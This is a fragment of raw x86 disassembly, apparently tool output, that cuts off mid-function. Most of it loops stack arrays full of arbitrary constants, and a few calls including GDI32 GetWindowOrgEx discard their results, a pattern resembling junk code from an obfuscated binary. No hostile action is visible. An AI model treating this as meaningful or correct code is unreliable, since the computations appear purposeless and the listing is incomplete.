mov eax, dword [ebp + eax*4 - 0x60]
mov dword [ebp - 0x3c], 0x5fff839e
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x60]
imul eax, dword [ebp - 0x3c], 0x3358
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x14]
setge bl
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x60]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x60], ecx
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x45fb84
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
inc dword [ebp - 0x14]
push 1
pop ebx
cmp dword [ebp - 0x14], eax
jle 0x45fafa
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x45fbb8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1138], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45fba0
xor eax, eax
mov dword [ebp - 0x20], 0xe57f
push 0xfffffffffffffffb
mov dword [ebp - 0x2c], 0xfffffffc
pop edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x45fbec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf0], 0x1fe77dd6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x45fbd4
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x45fc0c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb00], 0x7f3e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x45fbf4
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x45fc2f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd0c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x45fc17
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x45fc4f